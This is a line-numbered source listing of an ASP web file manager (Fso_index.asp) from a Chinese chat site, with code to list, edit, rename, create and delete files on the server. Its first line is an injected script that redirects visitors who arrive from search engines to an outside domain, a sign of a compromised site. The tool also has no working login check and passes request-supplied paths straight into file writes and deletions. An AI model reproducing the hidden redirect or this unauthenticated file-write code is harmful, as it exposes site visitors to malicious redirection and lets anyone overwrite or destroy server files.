d:\wwwroot\wuchunhua\liaotianim\system_manage\Fso

d:\wwwroot\wuchunhua\liaotianim\system_manage\Fso_index.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
002: 
003: <%   Response.Buffer=true
004:
005:    On Error Resume Next
006:    Server.ScriptTimeOut = 5000
007:    Response.Expires=0
008:    Dim StartTime,IsReplace,ImageFolder
009:    IsReplace = true   '是否过滤编辑时文件的<textarea></textarea>标记，如不过滤遇到有<textarea>标记的文件时编辑有显示不完全的现象
010:            ImageFolder = "FileType"     '存放本程序图标的文件夹，如果要更换图标文件夹请更新这里就可以拉
011:    StatrTime = Timer()
012: %>
013: <%
014: '****************************************
015: '函数定义部分开始
016: '****************************************
017: '*******************************************
018: '过程作用：检查是否正常登录
019: '*******************************************
020:
021:
022: function logout()
023: session("login")<>""
024: response.Redirect(url)
025: end function
026:
027:
028: '*******************************************
029: '过程作用：判断服务器是否支持FSO
030: '*******************************************
031: Sub IsErr()
032:    If Err = -2147221005 Then
033:       Response.write "这台服务器不支持FSO,故本程序无法运行"
034:       Response.end
035:    End If
036: End Sub
037: '*******************************************
038: '函数作用：取得文件的后缀名
039: '*******************************************
040: Function UpDir(ByVal D)
041:    Dim UDir
042:    If Len(D) = 0 then Exit Function
043:    UDir=Left(D,InStrRev(D,"\")-1)
044:    UpDir=UDir
045: End Function
046: '*******************************************
047: '函数作用：取得当前页的URL，
048: '         为文件添加正确的链接
049: '*******************************************
050: Function FileUrl(url,D)
051:    Dim PageUrl,PUrl
052:    PageUrl=""'"http://"& Request.ServerVariables("SERVER_NAME")
053:    PUrl="/"'Left(Request.ServerVariables("URL"),InStrRev(Request.ServerVariables("Url"),"/"))
054:    PageUrl=PageUrl & Purl & Mid(D,2,Len(D)) & "/" & url
055:    FileUrl=PageUrl
056: End Function
057: '*******************************************
058: '函数作用：格式化文件的大小
059: '*******************************************
060: Function GetFileSize(size)
061:    Dim FileSize
062:    FileSize=size / 1024
063:    FileSize=FormatNumber(FileSize,2)
064:    If FileSize < 1024 and FileSize > 1 then
065:       GetFileSize="<font color=red>"& FileSize & "</font> KB"
066:    ElseIf FileSize >1024 then
067:       GetFileSize="<font color=red>"& FormatNumber(FileSize / 1024,2) & "</font> MB"
068:    Else
069:       GetFileSize="<font color=red>"& Size & "</font> Bytes"
070:    End If
071: End Function
072: '*******************************************
073: '函数作用：取得文件的后缀名
074: '*******************************************
075: Function GetExtensionName(name)
076:    Dim FileName
077:    FileName=Split(name,".")
078:    GetExtensionName=FileName(Ubound(FileName))
079: End Function
080: '*******************************************
081: '函数作用：返回文件类型
082: '*******************************************
083: Function GetFileIcon(name)
084:    Dim FileName,Icon
085:    FileName=Lcase(GetExtensionName(name))
086:    Select Case FileName
087:          Case "asp"
088:           Icon = "asp.gif"
089:        Case "bmp"
090:           Icon = "bmp.gif"
091:        Case "doc"
092:           Icon = "doc.gif"
093:        Case "exe"
094:           Icon = "exe.gif"
095:        Case "gif"
096:           Icon = "gif.gif"
097:        Case "jpg"
098:           Icon = "jpg.gif"
099:        Case "chm"
100:           Icon = "chm.gif"
101:        Case "htm","html"
102:           Icon = "htm.gif"
103:        Case "log"
104:           Icon = "log.gif"
105:        Case "mdb"
106:           Icon = "mdb.gif"
107:        Case "swf"
108:           Icon = "swf.gif"
109:        Case "txt"
110:           Icon = "txt.gif"
111:        Case "wav"
112:           Icon = "wav.gif"
113:        Case "xls"
114:           Icon = "xls.gif"
115:        Case "rar","zip"
116:           Icon = "zip.gif"
117:        Case "css"
118:           Icon = "css.gif"
119:        Case Else
120:           Icon = "none.gif"
121:   End Select
122:   GetFileIcon=Icon
123: End Function
124: '*******************************************
125: '过程作用：删除选定的文件或文件夹
126: '*******************************************
127: Sub DelAll()
128:    Dim FolderId,FileId,ThisDir,FileNum,FolderNum,FilePath,FolderPath
129:    FolderId = Split(Request.Form("FolderId"),",")
130:    FileId = Split(Request.Form("FileId"),",")
131:    ThisDir = trim(Request.Form("ThisDir"))
132:    FileNum=0
133:    FolderNum=0
134:    If Ubound(FolderId) <> -1 then      '删除文件夹
135:       For i = 0 to Ubound(FolderId)
136:          FolderPath = Server.MapPath("/") & ThisDir & "\" & trim(FolderId(i))
137:          If Fso.FolderExists(FolderPath) then
138:             Fso.DeleteFolder FolderPath,true
139:             FolderNum = FolderNum + 1
140:          End If
141:       Next
142:    End If
143:    If Ubound(FileId) <> -1 then      '删除文件
144:       For j = 0 to Ubound(FileId)
145:          FilePath = Server.MapPath("/") & ThisDir & "\" & trim(FileId(j))
146:          If Fso.FileExists(FilePath) then
147:             Fso.DeleteFile FilePath,true
148:             FileNum = FileNum + 1
149:          End If
150:       Next
151:    End If
152:    Response.write "<script>alert('\n恭喜,删除成功\n\n"& FolderNum &" 个文件夹被删除\n"& FileNum &" 个文件被删除');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>"
153: End Sub
154: '*******************************************
155: '过程作用：使选定的文件或文件夹改名
156: '*******************************************
157: Sub Rname()
158:    Dim ThisDir,FolderName,NewName,OldName
159:    ThisDir = Trim(Request.Form("ThisDir"))
160:    FolderName = Trim(Request.Form("FolderId"))
161:    FileName = Trim(Request.Form("FileId"))
162:    NewName = Trim(Request.QueryString("NewName"))
163:    If len(FolderName) <> 0 then   '文件夹改名
164:       NewName1 = Server.MapPath("/") & ThisDir & "\" & NewName
165:       OldName = Server.MapPath("/") & ThisDir & "\" & FolderName
166:       If not Fso.FolderExists(NewName1) then
167:          Fso.MoveFolder OldName,NewName1
168:          Response.write "<script>alert('【 "& FolderName &" 】文件夹已经成功改名为【 "& NewName &" 】');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>"
169:       Else
170:          Response.write "<script>alert('有同名文件夹，请换个文件夹名');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>"
171:       End If
172:    End If
173:    If len(FileName) <> 0 then   '文件改名
174:       NewName1 = Server.MapPath("/") & ThisDir & "\" & NewName
175:       OldName = Server.MapPath("/") & ThisDir & "\" & FileName
176:       If not Fso.FileExists(NewName1) then
177:          Fso.MoveFile OldName,NewName1
178:          Response.write "<script>alert('【 "& FileName &" 】文件已经成功改名【 "& NewName &" 】');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>"
179:       Else
180:          Response.write "<script>alert('有同名文件，请换个文件名');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>"
181:       End If
182:    End If
183: End Sub
184: '*******************************************
185: '过程作用：新建文件
186: '*******************************************
187: Sub NewFile()
188:    Dim NewFile,NewFilePath
189:    NewFilePath = Trim(Request.Form("ThisDir"))
190:    NewFile = Trim(Request.Form("NewFileName"))
191:    NewFilePath = Server.MapPath("/") & NewFilePath & "\" & NewFile
192:    If not Fso.FileExists(NewFilePath) and not Fso.FolderExists(NewFilePath) then
193:       Set FsoFile = Fso.CreateTextFile(NewFilePath)
194:          FsoFile.Writeline
195:       FsoFile.close
196:       Set FsoFile = nothing
197:       Response.write "<script>alert('建立文件成功');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>"
198:    Else
199:       Response.write "<script>alert('有同名文件，请换个文件名');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>"
200:    End if
201: End Sub
202: '*******************************************
203: '过程作用：新建文件夹
204: '*******************************************
205: Sub NewFolder()
206:    Dim NewFolder,NewFolderPath
207:    NewFolderPath = Trim(Request.Form("ThisDir"))
208:    NewFolder = Trim(Request.Form("NewFolderName"))
209:    NewFolderPath = Server.MapPath("/") & NewFolderPath & "\" & NewFolder
210:    If not Fso.FolderExists(NewFolderPath) then
211:       Fso.CreateFolder(NewFolderPath)
212:       Response.write "<script>alert('建立文件夹成功');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>"
213:    Else
214:       Response.write "<script>alert('有同名文件夹，请换个文件夹名');window.location.href=('"& Replace(Request.ServerVariables("HTTP_REFERER"),"\","\\") &"')</script>"
215:    End if
216: End Sub
217: '*******************************************
218: '过程作用：css 样式
219: '*******************************************
220: Sub Css()
221: %>
222: <link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
223: <link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
224: <style>
225: *{font-family: "微软雅黑";}
226: .fonts{font-size:9pt;line-height:30px}
227: .button{border: 1px solid #999; padding: 5px; width: 100px; -moz-border-radius: 3px; border-radius: 3px; margin-bottom: 5px; margin-top:8px; color: #666; background: url(img/bg_fade_sml.png) repeat-x top;
228: }
229: .TextBox {
230:    border-top-width: 1px;
231:    border-right-width: 1px;
232:    border-bottom-width: 1px;
233:    border-left-width: 1px;
234:    border-top-style: solid;
235:    border-right-style: solid;
236:    border-bottom-style: solid;
237:    border-left-style: solid;
238:    border-top-color: #666666;
239:    border-right-color: #CCCCCC;
240:    border-bottom-color: #CCCCCC;
241:    border-left-color: #666666;
242:    padding: 2px;
243:    height: 300px;
244:    font-size:12px;
245:
246: }
247: .InputBox {
248:          border-top-width:1px;
249:          border-left-width:1px;
250:          border-right-width:1px;
251:          border-bottom-width:1px;
252:          border-top-color:#000000;
253:          border-left-color:#000000;
254:          border-bottom-color:#000000;
255:          border-right-color:#000000;
256:          padding:2px;
257:          height:20px;
258:
259: }
260: Input, Select, TextArea {
261:    font-family: Arial, Helvetica, sans-serif;
262:    font-size: 12px;
263:    text-decoration: none;
264: }
265: a:link {  color: #000000; text-decoration: none}
266: a:visited {  color: #000000; text-decoration: none}
267: a:hover {  color: #FF0000; text-decoration: underline}
268: </style>
269: <%
270: End Sub
271: '*******************************************
272: '过程作用：编辑文件
273: '*******************************************
274: Sub Edit()
275:    Dim FilePath,FileName,action
276:    Set Fso = Server.CreateObject("Scripting.FileSystemObject")
277:    IsErr
278:    action=Trim(Request.QueryString("action"))
279:    If action = ("Save") then   '保存文件
280:       Dim FileSave
281:       FilePath = trim(Request.QueryString("FilePath"))
282:       FileAll = trim(Request.Form("FileAll"))
283:       If IsReplace then FileAll = Replace(FileAll,"\\textarea\\","textarea")
284:       If Fso.FileExists(FilePath) then
285:          Set FileSave = Fso.OpenTextFile(FilePath,2)
286:             FileSave.Write(FileAll)
287:          FileSave.Close
288:          Response.write "<script>if(confirm('文件已经保存，是否关闭本页')){window.close();}else{history.back();}</script>"
289:       Else
290:          Response.write "<script>alert('发生错误，文件已经被删除或者损坏！');window.close()</script>"
291:       End If
292:    ElseIf action = ("Edit") then   '读取文件
293:       Dim FileAll
294:       FilePath = Trim(Request.Form("ThisDir"))
295:       FileName = Trim(Request.Form("FileId"))
296:       FilePath1 = Server.MapPath("/") & FilePath & "\" & FileName
297:       If Fso.FileExists(FilePath1) then
298:          Set FileOpen = Fso.OpenTextFile (FilePath1,1)
299:             FileAll = FileOpen.ReadAll
300:          FileOpen.close
301:       If IsReplace then FileAll = Replace(FileAll,"textarea","\\textarea\\")
302:       Else
303:          Response.write "<script>alert('发生错误，文件已经被删除或者损坏！');window.close()</script>"
304:       End If
305: %>
306: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
307: <html xmlns="http://www.w3.org/1999/xhtml">
308: <head>
309: <title>文件管理</title>
310: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
311: <% Call Css %>
312:
313: <script language=javascript>
314: function Check()
315: {
316:   if(confirm("确定要保存文件么？\n此操作不可恢复！")){
317:    return true;
318:    }
319:   else{
320:    return false;
321:   }
322: }
323: </script></head>
324:
325: <body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0">
326: <div class="contentcontainer">
327: <div class="headings alt">
328:         <h2>上传文件管理</h2>  <a href="javascript:history.back(-1);">返回</a>
329:     </div>
330:     <div class="contentbox">
331:    <form name="form" method="post" action="?action=Save&FilePath=<%=Server.MapPath("/") & FilePath & "\" & Filename %>" onSubMit="return Check()">
332: <table width="90%" border="0" cellspacing="0" cellpadding="0" align="left" class="fonts">
333:
334: <tr>
335:    <td height="20" valign="bottom">当前目录：<%= FilePath %> 文件名: <font color=red><b><%=FileName%></b></font></td>
336: </tr>
337: <tr>
338:   <td><table cellpadding=3 cellspac=0 class=fonts><tr><td>
339:       <textarea id="FileAll" name="FileAll" cols="100" rows="20" class=textbox style="word-break: break-all; width: 700px; height: 380px;""><%=FileAll%></textarea>
340: </td><tr><td ></td></tr><tr><td>
341:       <input type="submit" name="Submit" value=" 保存文件 " class=button>
342:       <input type="reset" name="Submit2" value=" 撤消修改 " class=button>
343:    <input type="button" name="Submit3" value=" 关闭窗口 " class=button onClick="window.close()">
344:    </td></tr></table><br>
345:    </td>
346: </tr>
347: </table>
348:    </form>
349:    </div></div>
350: </body>
351: </html>
352: <%   End If
353:    Set Fso = nothing
354:    End Sub
355: '****************************************
356: '函数定义部分结束
357: '****************************************
358: %>
359: <%   Dim Fso,FsoFile,FileType,FileSize,FileTime,Path
360:    Dim Dir
361:    action=Trim(Request.QueryString("action"))
362:    Set Fso=Server.CreateObject("Scripting.FileSystemObject")
363:    IsErr
364:    If action = "Del" then
365:       Call DelAll
366:    ElseIf action = "NewFile" then
367:       Call NewFile
368:    ElseIf action = "NewFolder" then
369:       Call NewFolder
370:    ElseIf action = "Rname" then
371:       Call Rname
372:    ElseIf action = "Edit" then
373:       Call Edit
374:    ElseIf action = "Save" then
375:       Call Edit
376:    Else
377:         if Trim(Request.QueryString("Dir"))="" then
378:             Dir="\UserUpload"'Trim(Request.QueryString("Dir"))
379:         else
380:             Dir=Trim(Request.QueryString("Dir"))
381:         end if
382:       Path = Server.MapPath("/") & Dir
383:       Set FsoFile = Fso.GetFolder(Server.MapPath("/"))
384:          FsoFileSize = FsoFile.size   '空间大小统计
385:       Set   FsoFile = nothing
386:       Set   FsoFile = Fso.GetFolder(Path)
387: %>
388: <html>
389: <head>
390: <title>FSO在线编辑</title>
391: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
392: <% Call Css %>
393: <script language=javascript>
394: function Checked()
395: {
396:    var j = 0
397:    for(i=0;i < document.form.elements.length;i++){
398:       if(document.form.elements[i].name == "FileId" || document.form.elements[i].name == "FolderId"){
399:          if(document.form.elements[i].checked){
400:             j++;
401:          }
402:       }
403:    }
404:    return j;
405: }
406: function CheckAll1()
407: {
408:    for(i=0;i<document.form.elements.length;i++)
409:    {
410:       if(document.form.elements[i].checked){
411:          document.form.elements[i].checked=false;
412:          document.form.CheckAll.checked=false;
413:       }
414:       else{
415:          document.form.elements[i].checked = true;
416:          document.form.CheckAll.checked = true;
417:       }
418:    }
419: }
420: function DelAll()
421: {
422:    if(Checked()  <= 0){
423:       alert("您必须选择其中的一个文件或文件夹");
424:    }
425:    else{
426:       if(confirm("确定要删除选择的文件或文件夹么？\n此操作不可以恢复！")){
427:          form.action="?action=Del";
428:          form.submit();
429:       }
430:    }
431: }
432: function Edit()
433: {
434:    if(Checked() == 0){
435:       alert("您必须选择其中的一个文件");
436:    }
437:    else{
438:       if(Checked() != 1){
439:          alert("只能选择一个文件（文本文件）");
440:       }
441:       else{
442:          for(i=0;i < document.form.elements.length;i++){
443:          if(document.form.elements[i].name == "FileId" && document.form.elements[i].checked){
444:             form.action="?action=Edit";
445:             form.target="self";
446:             form.submit();
447:             break;
448:          }
449:          else if(document.form.elements[i].name == "FolderId" && document.form.elements[i].checked){
450:             alert("不能编辑文件夹")
451:             break;
452:          }
453:          }
454:       }
455:    }
456: }
457: function Rname()
458: {
459:    if(Checked() == 0){
460:       alert("您必须选择一个文件或文件夹");
461:    }
462:    else{
463:       if(Checked() != 1){
464:          alert("只能选择一个文件或一个文件夹");
465:       }
466:       else{
467:          for(i=0;i < document.form.elements.length;i++){
468:             if(document.form.elements[i].name == "FolderId" && document.form.elements[i].checked){
469:                var j = prompt("请输入新文件夹名",document.form.elements[i].value)
470:                break;
471:             }
472:             else if(document.form.elements[i].name == "FileId" && document.form.elements[i].checked){
473:                var j = prompt("请输入新文件名",document.form.elements[i].value)
474:                break;
475:             }
476:          }
477:          if(j != "" && j != null){
478:             if(IsStr(j) == j.length){
479:                form.action="?action=Rname&NewName=" + j;
480:                                                       form.target="_self";
481:                form.submit();
482:             }
483:             else{
484:                alert("新名称不符合标准，只能是字母、数字、点和下划线的组合,\n不能含有汉字、空格和其他符号");
485:             }
486:          }
487:       }
488:    }
489: }
490: function IsStr(w)
491: {
492:    var str = "abcdefghijklmnopqrstuvwxyz_1234567890."
493:     w = w.toLowerCase();
494:    var j = 0;
495:    for(i=0;i < w.length;i++){
496:       if(str.indexOf(w.substr(i,1)) != -1){
497:          j++;
498:       }
499:    }
500:    return j;
501: }
502: function NewFile(form,i)
503: {
504:    if(i == 1){
505:       if(form.NewFolderName.value == ""){
506:          alert("文件夹名不能为空");
507:       }
508:       else{
509:          if(IsStr(form.NewFolderName.value) == form.NewFolderName.value.length){
510:             form.action="?action=NewFolder";
511:             form.submit();
512:          }
513:          else{
514:             alert("文件夹名不符合标准，只能是字母、数字、点和下划线的组合,\n不能含有汉字、空格和其他符号");
515:          }
516:       }
517:    }
518:    else{
519:       if(form.NewFileName.value == ""){
520:          alert("文件名不能为空");
521:       }
522:       else{
523:          if(IsStr(form.NewFileName.value) == form.NewFileName.value.length){
524:             form.action="?action=NewFile";
525:             form.submit();
526:          }
527:          else{
528:             alert("文件名不符合标准，只能是字母、数字、点和下划线的组合,\n不能含有汉字、空格和其他符号");
529:          }
530:       }
531:    }
532: }
533: </script>
534: </head>
535: <body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0">
536: <div class="contentcontainer">
537: <div class="headings alt">
538:         <h2>上传文件管理  <a href="javascript:history.back(-1);" style="color:blue">返回</a></h2>
539:     </div>
540:     <div class="contentbox">
541: <table width="90%" border="0" cellspacing="0" cellpadding="0" align="left" class="fonts">
542: <tr>
543:   <td height="20" valign=bottom>  当前目录：<%=Dir %>     占用空间：<%=GetFileSize(FsoFile.size)%>  其中包含 <font color=red><%=FsoFile.SubFolders.count%></font> 个文件夹； <font color=red><%=FsoFile.Files.count%></font> 个文件</td>
544: </tr>
545: <tr>
546:   <td valign="top">
547:    <table width="85%" border="0" cellspacing="1" cellpadding="0" bgcolor="cccccc" class="fonts">
548:    <form name="form" method="post" >
549:     <tr bgcolor="F4F4F4">
550:      <Td width="6%" align="center"> </td>
551:      <td width="39%"><font color="990033"> 文件/文件夹名 </font></td>
552:      <td width="13%" align="center"><font color="990033">类型</font></td>
553:      <td width="15%" align="center"><font color="990033">文件大小</font></td>
554:      <td width="27%" align="center"><font color="990033">最后修改时间</font></td>
555:     </tr>
556:     <%   For Each DirFolder in FsoFile.SubFolders
557:       FolderName=DirFolder.name
558:       FolderSize=GetFileSize(DirFolder.size)
559:       FolderTime=DirFolder.DateLastModified
560: %>
561:     <tr bgcolor="#FFFFFF">
562:      <td width="6%" align="center">
563:       <input type="checkbox" name="FolderId" value="<%=FolderName%>">
564:      </td>
565:      <td width="39%"> <a href=?action=Open&Dir=<%=Dir%>\<%=FolderName%>><%=FolderName%></a></td>
566:      <td width="13%" align="center"><img src="<%=ImageFolder%>/ClosedFolder.gif" width="16" height="16" alt="文件夹"></td>
567:      <td width="15%" align="center"><%=FolderSize%></td>
568:      <td width="27%" align="center"><%=FolderTime%></td>
569:     </tr>
570:     <%   Next %>
571:     <%   For Each DirFiles in FsoFile.Files
572:       FileName=DirFiles.name
573:       FileType=GetFileIcon(FileName)
574:       FileSize=GetFileSize(DirFiles.size)
575:       FileTime=DirFiles.DateLastModified
576: %>
577:     <tr bgcolor="#FFFFFF">
578:      <td width="6%" align="center">
579:       <input type="checkbox" name="FileId" value="<%=FileName%>">
580:      </td>
581:      <td width="39%"> <a href="<%=FileUrl(FileName,Dir)%>" target=_blank><%=FileName%></a></td>
582:      <td width="13%" align="center"><Img src=<%=ImageFolder%>/<%=FileType%> alt="文件"></td>
583:      <td width="15%" align="center"><%=FileSize%></td>
584:      <td width="27%" align="center"><%=FileTime%></td>
585:     </tr>
586:     <%   Next %>
587:     <tr bgcolor="#FFFFFF">
588:      <td width="6%" align="center">
589:       <input type="checkbox" name="CheckAll" value="checkbox" onClick="CheckAll1()" title=全部选择 style="cursor:hand">
590:      </td>
591:      <td colspan="4"> 
592:       <input type="button" name="Submit" value="编辑" class=button style="cursor:hand" onClick="Edit()"  title=编辑>
593:       <input type="button" name="Submit2" value="删除" class=button style="cursor:hand" onClick="DelAll()"  title=删除>
594:       <input type="button" name="Submit3" value="重命名" class=button style="cursor:hand" onClick="Rname()"  title=重命名>
595:       <font color="990033">
596:       <input type="hidden" name="ThisDir" value="<%=Dir%>">
597:       </font> </td>
598:     </tr>
599:    </form>
600:    </table>
601:   </td>
602: </tr>
603:
604: <tr>
605:   <td> </td>
606: </tr>
607: </table>
608: </div></div>
609: </body>
610: </html>
611:
612: <%   End If
613:    Set FsoFile = nothing
614:    Set Fso = nothing
615: %>
616:
617: